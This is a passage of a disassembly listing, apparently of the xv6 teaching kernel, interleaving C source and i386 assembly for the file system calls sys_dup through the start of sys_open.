if(curproc->ofile[fd] == 0){
80104b00: 8b 54 98 28 mov 0x28(%eax,%ebx,4),%edx
80104b04: 85 d2 test %edx,%edx
80104b06: 74 18 je 80104b20 <sys_dup+0x40>
fdalloc(struct file *f)
{
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
80104b08: 83 c3 01 add $0x1,%ebx
80104b0b: 83 fb 10 cmp $0x10,%ebx
80104b0e: 75 f0 jne 80104b00 <sys_dup+0x20>
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
return fd;
}
80104b10: 8d 65 f8 lea -0x8(%ebp),%esp
{
struct file *f;
int fd;
if(argfd(0, 0, &f) < 0)
return -1;
80104b13: b8 ff ff ff ff mov $0xffffffff,%eax
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
return fd;
}
80104b18: 5b pop %ebx
80104b19: 5e pop %esi
80104b1a: 5d pop %ebp
80104b1b: c3 ret
80104b1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int fd;
struct proc *curproc = myproc();
for(fd = 0; fd < NOFILE; fd++){
if(curproc->ofile[fd] == 0){
curproc->ofile[fd] = f;
80104b20: 89 74 98 28 mov %esi,0x28(%eax,%ebx,4)
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
80104b24: 83 ec 0c sub $0xc,%esp
80104b27: ff 75 f4 pushl -0xc(%ebp)
80104b2a: e8 b1 c2 ff ff call 80100de0 <filedup>
return fd;
80104b2f: 83 c4 10 add $0x10,%esp
}
80104b32: 8d 65 f8 lea -0x8(%ebp),%esp
if(argfd(0, 0, &f) < 0)
return -1;
if((fd=fdalloc(f)) < 0)
return -1;
filedup(f);
return fd;
80104b35: 89 d8 mov %ebx,%eax
}
80104b37: 5b pop %ebx
80104b38: 5e pop %esi
80104b39: 5d pop %ebp
80104b3a: c3 ret
80104b3b: 90 nop
80104b3c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104b40 <sys_read>:
int
sys_read(void)
{
80104b40: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104b41: 31 c0 xor %eax,%eax
return fd;
}
int
sys_read(void)
{
80104b43: 89 e5 mov %esp,%ebp
80104b45: 83 ec 18 sub $0x18,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104b48: 8d 55 ec lea -0x14(%ebp),%edx
80104b4b: e8 20 ff ff ff call 80104a70 <argfd.constprop.0>
80104b50: 85 c0 test %eax,%eax
80104b52: 78 4c js 80104ba0 <sys_read+0x60>
80104b54: 8d 45 f0 lea -0x10(%ebp),%eax
80104b57: 83 ec 08 sub $0x8,%esp
80104b5a: 50 push %eax
80104b5b: 6a 02 push $0x2
80104b5d: e8 1e fc ff ff call 80104780 <argint>
80104b62: 83 c4 10 add $0x10,%esp
80104b65: 85 c0 test %eax,%eax
80104b67: 78 37 js 80104ba0 <sys_read+0x60>
80104b69: 8d 45 f4 lea -0xc(%ebp),%eax
80104b6c: 83 ec 04 sub $0x4,%esp
80104b6f: ff 75 f0 pushl -0x10(%ebp)
80104b72: 50 push %eax
80104b73: 6a 01 push $0x1
80104b75: e8 56 fc ff ff call 801047d0 <argptr>
80104b7a: 83 c4 10 add $0x10,%esp
80104b7d: 85 c0 test %eax,%eax
80104b7f: 78 1f js 80104ba0 <sys_read+0x60>
return -1;
return fileread(f, p, n);
80104b81: 83 ec 04 sub $0x4,%esp
80104b84: ff 75 f0 pushl -0x10(%ebp)
80104b87: ff 75 f4 pushl -0xc(%ebp)
80104b8a: ff 75 ec pushl -0x14(%ebp)
80104b8d: e8 be c3 ff ff call 80100f50 <fileread>
80104b92: 83 c4 10 add $0x10,%esp
}
80104b95: c9 leave
80104b96: c3 ret
80104b97: 89 f6 mov %esi,%esi
80104b99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104ba0: b8 ff ff ff ff mov $0xffffffff,%eax
return fileread(f, p, n);
}
80104ba5: c9 leave
80104ba6: c3 ret
80104ba7: 89 f6 mov %esi,%esi
80104ba9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104bb0 <sys_write>:
int
sys_write(void)
{
80104bb0: 55 push %ebp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104bb1: 31 c0 xor %eax,%eax
return fileread(f, p, n);
}
int
sys_write(void)
{
80104bb3: 89 e5 mov %esp,%ebp
80104bb5: 83 ec 18 sub $0x18,%esp
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
80104bb8: 8d 55 ec lea -0x14(%ebp),%edx
80104bbb: e8 b0 fe ff ff call 80104a70 <argfd.constprop.0>
80104bc0: 85 c0 test %eax,%eax
80104bc2: 78 4c js 80104c10 <sys_write+0x60>
80104bc4: 8d 45 f0 lea -0x10(%ebp),%eax
80104bc7: 83 ec 08 sub $0x8,%esp
80104bca: 50 push %eax
80104bcb: 6a 02 push $0x2
80104bcd: e8 ae fb ff ff call 80104780 <argint>
80104bd2: 83 c4 10 add $0x10,%esp
80104bd5: 85 c0 test %eax,%eax
80104bd7: 78 37 js 80104c10 <sys_write+0x60>
80104bd9: 8d 45 f4 lea -0xc(%ebp),%eax
80104bdc: 83 ec 04 sub $0x4,%esp
80104bdf: ff 75 f0 pushl -0x10(%ebp)
80104be2: 50 push %eax
80104be3: 6a 01 push $0x1
80104be5: e8 e6 fb ff ff call 801047d0 <argptr>
80104bea: 83 c4 10 add $0x10,%esp
80104bed: 85 c0 test %eax,%eax
80104bef: 78 1f js 80104c10 <sys_write+0x60>
return -1;
return filewrite(f, p, n);
80104bf1: 83 ec 04 sub $0x4,%esp
80104bf4: ff 75 f0 pushl -0x10(%ebp)
80104bf7: ff 75 f4 pushl -0xc(%ebp)
80104bfa: ff 75 ec pushl -0x14(%ebp)
80104bfd: e8 de c3 ff ff call 80100fe0 <filewrite>
80104c02: 83 c4 10 add $0x10,%esp
}
80104c05: c9 leave
80104c06: c3 ret
80104c07: 89 f6 mov %esi,%esi
80104c09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
struct file *f;
int n;
char *p;
if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0)
return -1;
80104c10: b8 ff ff ff ff mov $0xffffffff,%eax
return filewrite(f, p, n);
}
80104c15: c9 leave
80104c16: c3 ret
80104c17: 89 f6 mov %esi,%esi
80104c19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104c20 <sys_close>:
int
sys_close(void)
{
80104c20: 55 push %ebp
80104c21: 89 e5 mov %esp,%ebp
80104c23: 83 ec 18 sub $0x18,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
80104c26: 8d 55 f4 lea -0xc(%ebp),%edx
80104c29: 8d 45 f0 lea -0x10(%ebp),%eax
80104c2c: e8 3f fe ff ff call 80104a70 <argfd.constprop.0>
80104c31: 85 c0 test %eax,%eax
80104c33: 78 2b js 80104c60 <sys_close+0x40>
return -1;
myproc()->ofile[fd] = 0;
80104c35: e8 36 eb ff ff call 80103770 <myproc>
80104c3a: 8b 55 f0 mov -0x10(%ebp),%edx
fileclose(f);
80104c3d: 83 ec 0c sub $0xc,%esp
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
return -1;
myproc()->ofile[fd] = 0;
80104c40: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4)
80104c47: 00
fileclose(f);
80104c48: ff 75 f4 pushl -0xc(%ebp)
80104c4b: e8 e0 c1 ff ff call 80100e30 <fileclose>
return 0;
80104c50: 83 c4 10 add $0x10,%esp
80104c53: 31 c0 xor %eax,%eax
}
80104c55: c9 leave
80104c56: c3 ret
80104c57: 89 f6 mov %esi,%esi
80104c59: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
{
int fd;
struct file *f;
if(argfd(0, &fd, &f) < 0)
return -1;
80104c60: b8 ff ff ff ff mov $0xffffffff,%eax
myproc()->ofile[fd] = 0;
fileclose(f);
return 0;
}
80104c65: c9 leave
80104c66: c3 ret
80104c67: 89 f6 mov %esi,%esi
80104c69: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104c70 <sys_fstat>:
int
sys_fstat(void)
{
80104c70: 55 push %ebp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104c71: 31 c0 xor %eax,%eax
return 0;
}
int
sys_fstat(void)
{
80104c73: 89 e5 mov %esp,%ebp
80104c75: 83 ec 18 sub $0x18,%esp
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
80104c78: 8d 55 f0 lea -0x10(%ebp),%edx
80104c7b: e8 f0 fd ff ff call 80104a70 <argfd.constprop.0>
80104c80: 85 c0 test %eax,%eax
80104c82: 78 2c js 80104cb0 <sys_fstat+0x40>
80104c84: 8d 45 f4 lea -0xc(%ebp),%eax
80104c87: 83 ec 04 sub $0x4,%esp
80104c8a: 6a 14 push $0x14
80104c8c: 50 push %eax
80104c8d: 6a 01 push $0x1
80104c8f: e8 3c fb ff ff call 801047d0 <argptr>
80104c94: 83 c4 10 add $0x10,%esp
80104c97: 85 c0 test %eax,%eax
80104c99: 78 15 js 80104cb0 <sys_fstat+0x40>
return -1;
return filestat(f, st);
80104c9b: 83 ec 08 sub $0x8,%esp
80104c9e: ff 75 f4 pushl -0xc(%ebp)
80104ca1: ff 75 f0 pushl -0x10(%ebp)
80104ca4: e8 57 c2 ff ff call 80100f00 <filestat>
80104ca9: 83 c4 10 add $0x10,%esp
}
80104cac: c9 leave
80104cad: c3 ret
80104cae: 66 90 xchg %ax,%ax
{
struct file *f;
struct stat *st;
if(argfd(0, 0, &f) < 0 || argptr(1, (void*)&st, sizeof(*st)) < 0)
return -1;
80104cb0: b8 ff ff ff ff mov $0xffffffff,%eax
return filestat(f, st);
}
80104cb5: c9 leave
80104cb6: c3 ret
80104cb7: 89 f6 mov %esi,%esi
80104cb9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104cc0 <sys_link>:
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80104cc0: 55 push %ebp
80104cc1: 89 e5 mov %esp,%ebp
80104cc3: 57 push %edi
80104cc4: 56 push %esi
80104cc5: 53 push %ebx
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104cc6: 8d 45 d4 lea -0x2c(%ebp),%eax
}
// Create the path new as a link to the same inode as old.
int
sys_link(void)
{
80104cc9: 83 ec 34 sub $0x34,%esp
char name[DIRSIZ], *new, *old;
struct inode *dp, *ip;
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
80104ccc: 50 push %eax
80104ccd: 6a 00 push $0x0
80104ccf: e8 5c fb ff ff call 80104830 <argstr>
80104cd4: 83 c4 10 add $0x10,%esp
80104cd7: 85 c0 test %eax,%eax
80104cd9: 0f 88 fb 00 00 00 js 80104dda <sys_link+0x11a>
80104cdf: 8d 45 d0 lea -0x30(%ebp),%eax
80104ce2: 83 ec 08 sub $0x8,%esp
80104ce5: 50 push %eax
80104ce6: 6a 01 push $0x1
80104ce8: e8 43 fb ff ff call 80104830 <argstr>
80104ced: 83 c4 10 add $0x10,%esp
80104cf0: 85 c0 test %eax,%eax
80104cf2: 0f 88 e2 00 00 00 js 80104dda <sys_link+0x11a>
return -1;
begin_op();
80104cf8: e8 43 de ff ff call 80102b40 <begin_op>
if((ip = namei(old)) == 0){
80104cfd: 83 ec 0c sub $0xc,%esp
80104d00: ff 75 d4 pushl -0x2c(%ebp)
80104d03: e8 a8 d1 ff ff call 80101eb0 <namei>
80104d08: 83 c4 10 add $0x10,%esp
80104d0b: 85 c0 test %eax,%eax
80104d0d: 89 c3 mov %eax,%ebx
80104d0f: 0f 84 f3 00 00 00 je 80104e08 <sys_link+0x148>
end_op();
return -1;
}
ilock(ip);
80104d15: 83 ec 0c sub $0xc,%esp
80104d18: 50 push %eax
80104d19: e8 42 c9 ff ff call 80101660 <ilock>
if(ip->type == T_DIR){
80104d1e: 83 c4 10 add $0x10,%esp
80104d21: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104d26: 0f 84 c4 00 00 00 je 80104df0 <sys_link+0x130>
iunlockput(ip);
end_op();
return -1;
}
ip->nlink++;
80104d2c: 66 83 43 56 01 addw $0x1,0x56(%ebx)
iupdate(ip);
80104d31: 83 ec 0c sub $0xc,%esp
iunlock(ip);
if((dp = nameiparent(new, name)) == 0)
80104d34: 8d 7d da lea -0x26(%ebp),%edi
end_op();
return -1;
}
ip->nlink++;
iupdate(ip);
80104d37: 53 push %ebx
80104d38: e8 73 c8 ff ff call 801015b0 <iupdate>
iunlock(ip);
80104d3d: 89 1c 24 mov %ebx,(%esp)
80104d40: e8 fb c9 ff ff call 80101740 <iunlock>
if((dp = nameiparent(new, name)) == 0)
80104d45: 58 pop %eax
80104d46: 5a pop %edx
80104d47: 57 push %edi
80104d48: ff 75 d0 pushl -0x30(%ebp)
80104d4b: e8 80 d1 ff ff call 80101ed0 <nameiparent>
80104d50: 83 c4 10 add $0x10,%esp
80104d53: 85 c0 test %eax,%eax
80104d55: 89 c6 mov %eax,%esi
80104d57: 74 5b je 80104db4 <sys_link+0xf4>
goto bad;
ilock(dp);
80104d59: 83 ec 0c sub $0xc,%esp
80104d5c: 50 push %eax
80104d5d: e8 fe c8 ff ff call 80101660 <ilock>
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
80104d62: 83 c4 10 add $0x10,%esp
80104d65: 8b 03 mov (%ebx),%eax
80104d67: 39 06 cmp %eax,(%esi)
80104d69: 75 3d jne 80104da8 <sys_link+0xe8>
80104d6b: 83 ec 04 sub $0x4,%esp
80104d6e: ff 73 04 pushl 0x4(%ebx)
80104d71: 57 push %edi
80104d72: 56 push %esi
80104d73: e8 78 d0 ff ff call 80101df0 <dirlink>
80104d78: 83 c4 10 add $0x10,%esp
80104d7b: 85 c0 test %eax,%eax
80104d7d: 78 29 js 80104da8 <sys_link+0xe8>
iunlockput(dp);
goto bad;
}
iunlockput(dp);
80104d7f: 83 ec 0c sub $0xc,%esp
80104d82: 56 push %esi
80104d83: e8 68 cb ff ff call 801018f0 <iunlockput>
iput(ip);
80104d88: 89 1c 24 mov %ebx,(%esp)
80104d8b: e8 00 ca ff ff call 80101790 <iput>
end_op();
80104d90: e8 1b de ff ff call 80102bb0 <end_op>
return 0;
80104d95: 83 c4 10 add $0x10,%esp
80104d98: 31 c0 xor %eax,%eax
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
}
80104d9a: 8d 65 f4 lea -0xc(%ebp),%esp
80104d9d: 5b pop %ebx
80104d9e: 5e pop %esi
80104d9f: 5f pop %edi
80104da0: 5d pop %ebp
80104da1: c3 ret
80104da2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if((dp = nameiparent(new, name)) == 0)
goto bad;
ilock(dp);
if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){
iunlockput(dp);
80104da8: 83 ec 0c sub $0xc,%esp
80104dab: 56 push %esi
80104dac: e8 3f cb ff ff call 801018f0 <iunlockput>
goto bad;
80104db1: 83 c4 10 add $0x10,%esp
end_op();
return 0;
bad:
ilock(ip);
80104db4: 83 ec 0c sub $0xc,%esp
80104db7: 53 push %ebx
80104db8: e8 a3 c8 ff ff call 80101660 <ilock>
ip->nlink--;
80104dbd: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104dc2: 89 1c 24 mov %ebx,(%esp)
80104dc5: e8 e6 c7 ff ff call 801015b0 <iupdate>
iunlockput(ip);
80104dca: 89 1c 24 mov %ebx,(%esp)
80104dcd: e8 1e cb ff ff call 801018f0 <iunlockput>
end_op();
80104dd2: e8 d9 dd ff ff call 80102bb0 <end_op>
return -1;
80104dd7: 83 c4 10 add $0x10,%esp
}
80104dda: 8d 65 f4 lea -0xc(%ebp),%esp
ilock(ip);
ip->nlink--;
iupdate(ip);
iunlockput(ip);
end_op();
return -1;
80104ddd: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104de2: 5b pop %ebx
80104de3: 5e pop %esi
80104de4: 5f pop %edi
80104de5: 5d pop %ebp
80104de6: c3 ret
80104de7: 89 f6 mov %esi,%esi
80104de9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
return -1;
}
ilock(ip);
if(ip->type == T_DIR){
iunlockput(ip);
80104df0: 83 ec 0c sub $0xc,%esp
80104df3: 53 push %ebx
80104df4: e8 f7 ca ff ff call 801018f0 <iunlockput>
end_op();
80104df9: e8 b2 dd ff ff call 80102bb0 <end_op>
return -1;
80104dfe: 83 c4 10 add $0x10,%esp
80104e01: b8 ff ff ff ff mov $0xffffffff,%eax
80104e06: eb 92 jmp 80104d9a <sys_link+0xda>
if(argstr(0, &old) < 0 || argstr(1, &new) < 0)
return -1;
begin_op();
if((ip = namei(old)) == 0){
end_op();
80104e08: e8 a3 dd ff ff call 80102bb0 <end_op>
return -1;
80104e0d: b8 ff ff ff ff mov $0xffffffff,%eax
80104e12: eb 86 jmp 80104d9a <sys_link+0xda>
80104e14: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104e1a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80104e20 <sys_unlink>:
}
//PAGEBREAK!
int
sys_unlink(void)
{
80104e20: 55 push %ebp
80104e21: 89 e5 mov %esp,%ebp
80104e23: 57 push %edi
80104e24: 56 push %esi
80104e25: 53 push %ebx
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
80104e26: 8d 45 c0 lea -0x40(%ebp),%eax
}
//PAGEBREAK!
int
sys_unlink(void)
{
80104e29: 83 ec 54 sub $0x54,%esp
struct inode *ip, *dp;
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
80104e2c: 50 push %eax
80104e2d: 6a 00 push $0x0
80104e2f: e8 fc f9 ff ff call 80104830 <argstr>
80104e34: 83 c4 10 add $0x10,%esp
80104e37: 85 c0 test %eax,%eax
80104e39: 0f 88 82 01 00 00 js 80104fc1 <sys_unlink+0x1a1>
return -1;
begin_op();
if((dp = nameiparent(path, name)) == 0){
80104e3f: 8d 5d ca lea -0x36(%ebp),%ebx
uint off;
if(argstr(0, &path) < 0)
return -1;
begin_op();
80104e42: e8 f9 dc ff ff call 80102b40 <begin_op>
if((dp = nameiparent(path, name)) == 0){
80104e47: 83 ec 08 sub $0x8,%esp
80104e4a: 53 push %ebx
80104e4b: ff 75 c0 pushl -0x40(%ebp)
80104e4e: e8 7d d0 ff ff call 80101ed0 <nameiparent>
80104e53: 83 c4 10 add $0x10,%esp
80104e56: 85 c0 test %eax,%eax
80104e58: 89 45 b4 mov %eax,-0x4c(%ebp)
80104e5b: 0f 84 6a 01 00 00 je 80104fcb <sys_unlink+0x1ab>
end_op();
return -1;
}
ilock(dp);
80104e61: 8b 75 b4 mov -0x4c(%ebp),%esi
80104e64: 83 ec 0c sub $0xc,%esp
80104e67: 56 push %esi
80104e68: e8 f3 c7 ff ff call 80101660 <ilock>
// Cannot unlink "." or "..".
if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0)
80104e6d: 58 pop %eax
80104e6e: 5a pop %edx
80104e6f: 68 98 76 10 80 push $0x80107698
80104e74: 53 push %ebx
80104e75: e8 f6 cc ff ff call 80101b70 <namecmp>
80104e7a: 83 c4 10 add $0x10,%esp
80104e7d: 85 c0 test %eax,%eax
80104e7f: 0f 84 fc 00 00 00 je 80104f81 <sys_unlink+0x161>
80104e85: 83 ec 08 sub $0x8,%esp
80104e88: 68 97 76 10 80 push $0x80107697
80104e8d: 53 push %ebx
80104e8e: e8 dd cc ff ff call 80101b70 <namecmp>
80104e93: 83 c4 10 add $0x10,%esp
80104e96: 85 c0 test %eax,%eax
80104e98: 0f 84 e3 00 00 00 je 80104f81 <sys_unlink+0x161>
goto bad;
if((ip = dirlookup(dp, name, &off)) == 0)
80104e9e: 8d 45 c4 lea -0x3c(%ebp),%eax
80104ea1: 83 ec 04 sub $0x4,%esp
80104ea4: 50 push %eax
80104ea5: 53 push %ebx
80104ea6: 56 push %esi
80104ea7: e8 e4 cc ff ff call 80101b90 <dirlookup>
80104eac: 83 c4 10 add $0x10,%esp
80104eaf: 85 c0 test %eax,%eax
80104eb1: 89 c3 mov %eax,%ebx
80104eb3: 0f 84 c8 00 00 00 je 80104f81 <sys_unlink+0x161>
goto bad;
ilock(ip);
80104eb9: 83 ec 0c sub $0xc,%esp
80104ebc: 50 push %eax
80104ebd: e8 9e c7 ff ff call 80101660 <ilock>
if(ip->nlink < 1)
80104ec2: 83 c4 10 add $0x10,%esp
80104ec5: 66 83 7b 56 00 cmpw $0x0,0x56(%ebx)
80104eca: 0f 8e 24 01 00 00 jle 80104ff4 <sys_unlink+0x1d4>
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
80104ed0: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104ed5: 8d 75 d8 lea -0x28(%ebp),%esi
80104ed8: 74 66 je 80104f40 <sys_unlink+0x120>
iunlockput(ip);
goto bad;
}
memset(&de, 0, sizeof(de));
80104eda: 83 ec 04 sub $0x4,%esp
80104edd: 6a 10 push $0x10
80104edf: 6a 00 push $0x0
80104ee1: 56 push %esi
80104ee2: e8 89 f5 ff ff call 80104470 <memset>
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104ee7: 6a 10 push $0x10
80104ee9: ff 75 c4 pushl -0x3c(%ebp)
80104eec: 56 push %esi
80104eed: ff 75 b4 pushl -0x4c(%ebp)
80104ef0: e8 4b cb ff ff call 80101a40 <writei>
80104ef5: 83 c4 20 add $0x20,%esp
80104ef8: 83 f8 10 cmp $0x10,%eax
80104efb: 0f 85 e6 00 00 00 jne 80104fe7 <sys_unlink+0x1c7>
panic("unlink: writei");
if(ip->type == T_DIR){
80104f01: 66 83 7b 50 01 cmpw $0x1,0x50(%ebx)
80104f06: 0f 84 9c 00 00 00 je 80104fa8 <sys_unlink+0x188>
dp->nlink--;
iupdate(dp);
}
iunlockput(dp);
80104f0c: 83 ec 0c sub $0xc,%esp
80104f0f: ff 75 b4 pushl -0x4c(%ebp)
80104f12: e8 d9 c9 ff ff call 801018f0 <iunlockput>
ip->nlink--;
80104f17: 66 83 6b 56 01 subw $0x1,0x56(%ebx)
iupdate(ip);
80104f1c: 89 1c 24 mov %ebx,(%esp)
80104f1f: e8 8c c6 ff ff call 801015b0 <iupdate>
iunlockput(ip);
80104f24: 89 1c 24 mov %ebx,(%esp)
80104f27: e8 c4 c9 ff ff call 801018f0 <iunlockput>
end_op();
80104f2c: e8 7f dc ff ff call 80102bb0 <end_op>
return 0;
80104f31: 83 c4 10 add $0x10,%esp
80104f34: 31 c0 xor %eax,%eax
bad:
iunlockput(dp);
end_op();
return -1;
}
80104f36: 8d 65 f4 lea -0xc(%ebp),%esp
80104f39: 5b pop %ebx
80104f3a: 5e pop %esi
80104f3b: 5f pop %edi
80104f3c: 5d pop %ebp
80104f3d: c3 ret
80104f3e: 66 90 xchg %ax,%ax
isdirempty(struct inode *dp)
{
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
80104f40: 83 7b 58 20 cmpl $0x20,0x58(%ebx)
80104f44: 76 94 jbe 80104eda <sys_unlink+0xba>
80104f46: bf 20 00 00 00 mov $0x20,%edi
80104f4b: eb 0f jmp 80104f5c <sys_unlink+0x13c>
80104f4d: 8d 76 00 lea 0x0(%esi),%esi
80104f50: 83 c7 10 add $0x10,%edi
80104f53: 3b 7b 58 cmp 0x58(%ebx),%edi
80104f56: 0f 83 7e ff ff ff jae 80104eda <sys_unlink+0xba>
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
80104f5c: 6a 10 push $0x10
80104f5e: 57 push %edi
80104f5f: 56 push %esi
80104f60: 53 push %ebx
80104f61: e8 da c9 ff ff call 80101940 <readi>
80104f66: 83 c4 10 add $0x10,%esp
80104f69: 83 f8 10 cmp $0x10,%eax
80104f6c: 75 6c jne 80104fda <sys_unlink+0x1ba>
panic("isdirempty: readi");
if(de.inum != 0)
80104f6e: 66 83 7d d8 00 cmpw $0x0,-0x28(%ebp)
80104f73: 74 db je 80104f50 <sys_unlink+0x130>
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
if(ip->type == T_DIR && !isdirempty(ip)){
iunlockput(ip);
80104f75: 83 ec 0c sub $0xc,%esp
80104f78: 53 push %ebx
80104f79: e8 72 c9 ff ff call 801018f0 <iunlockput>
goto bad;
80104f7e: 83 c4 10 add $0x10,%esp
end_op();
return 0;
bad:
iunlockput(dp);
80104f81: 83 ec 0c sub $0xc,%esp
80104f84: ff 75 b4 pushl -0x4c(%ebp)
80104f87: e8 64 c9 ff ff call 801018f0 <iunlockput>
end_op();
80104f8c: e8 1f dc ff ff call 80102bb0 <end_op>
return -1;
80104f91: 83 c4 10 add $0x10,%esp
}
80104f94: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
bad:
iunlockput(dp);
end_op();
return -1;
80104f97: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104f9c: 5b pop %ebx
80104f9d: 5e pop %esi
80104f9e: 5f pop %edi
80104f9f: 5d pop %ebp
80104fa0: c3 ret
80104fa1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
if(ip->type == T_DIR){
dp->nlink--;
80104fa8: 8b 45 b4 mov -0x4c(%ebp),%eax
iupdate(dp);
80104fab: 83 ec 0c sub $0xc,%esp
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
if(ip->type == T_DIR){
dp->nlink--;
80104fae: 66 83 68 56 01 subw $0x1,0x56(%eax)
iupdate(dp);
80104fb3: 50 push %eax
80104fb4: e8 f7 c5 ff ff call 801015b0 <iupdate>
80104fb9: 83 c4 10 add $0x10,%esp
80104fbc: e9 4b ff ff ff jmp 80104f0c <sys_unlink+0xec>
struct dirent de;
char name[DIRSIZ], *path;
uint off;
if(argstr(0, &path) < 0)
return -1;
80104fc1: b8 ff ff ff ff mov $0xffffffff,%eax
80104fc6: e9 6b ff ff ff jmp 80104f36 <sys_unlink+0x116>
begin_op();
if((dp = nameiparent(path, name)) == 0){
end_op();
80104fcb: e8 e0 db ff ff call 80102bb0 <end_op>
return -1;
80104fd0: b8 ff ff ff ff mov $0xffffffff,%eax
80104fd5: e9 5c ff ff ff jmp 80104f36 <sys_unlink+0x116>
int off;
struct dirent de;
for(off=2*sizeof(de); off<dp->size; off+=sizeof(de)){
if(readi(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("isdirempty: readi");
80104fda: 83 ec 0c sub $0xc,%esp
80104fdd: 68 bc 76 10 80 push $0x801076bc
80104fe2: e8 89 b3 ff ff call 80100370 <panic>
goto bad;
}
memset(&de, 0, sizeof(de));
if(writei(dp, (char*)&de, off, sizeof(de)) != sizeof(de))
panic("unlink: writei");
80104fe7: 83 ec 0c sub $0xc,%esp
80104fea: 68 ce 76 10 80 push $0x801076ce
80104fef: e8 7c b3 ff ff call 80100370 <panic>
if((ip = dirlookup(dp, name, &off)) == 0)
goto bad;
ilock(ip);
if(ip->nlink < 1)
panic("unlink: nlink < 1");
80104ff4: 83 ec 0c sub $0xc,%esp
80104ff7: 68 aa 76 10 80 push $0x801076aa
80104ffc: e8 6f b3 ff ff call 80100370 <panic>
80105001: eb 0d jmp 80105010 <sys_open>
80105003: 90 nop
80105004: 90 nop
80105005: 90 nop
80105006: 90 nop
80105007: 90 nop
80105008: 90 nop
80105009: 90 nop
8010500a: 90 nop
8010500b: 90 nop
8010500c: 90 nop
8010500d: 90 nop
8010500e: 90 nop
8010500f: 90 nop
80105010 <sys_open>:
return ip;
}
int
sys_open(void)
{
80105010: 55 push %ebp
80105011: 89 e5 mov %esp,%ebp
80105013: 57 push %edi
80105014: 56 push %esi
80105015: 53 push %ebx
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
80105016: 8d 45 e0 lea -0x20(%ebp),%eax
return ip;
}
int
sys_open(void)
{
80105019: 83 ec 24 sub $0x24,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
8010501c: 50 push %eax
8010501d: 6a 00 push $0x0
8010501f: e8 0c f8 ff ff call 80104830 <argstr>
80105024: 83 c4 10 add $0x10,%esp
80105027: 85 c0 test %eax,%eax
80105029: 0f 88 9e 00 00 00 js 801050cd <sys_open+0xbd>
8010502f: 8d 45 e4 lea -0x1c(%ebp),%eax
80105032: 83 ec 08 sub $0x8,%esp
80105035: 50 push %eax
80105036: 6a 01 push $0x1
80105038: e8 43 f7 ff ff call 80104780 <argint>
8010503d: 83 c4 10 add $0x10,%esp
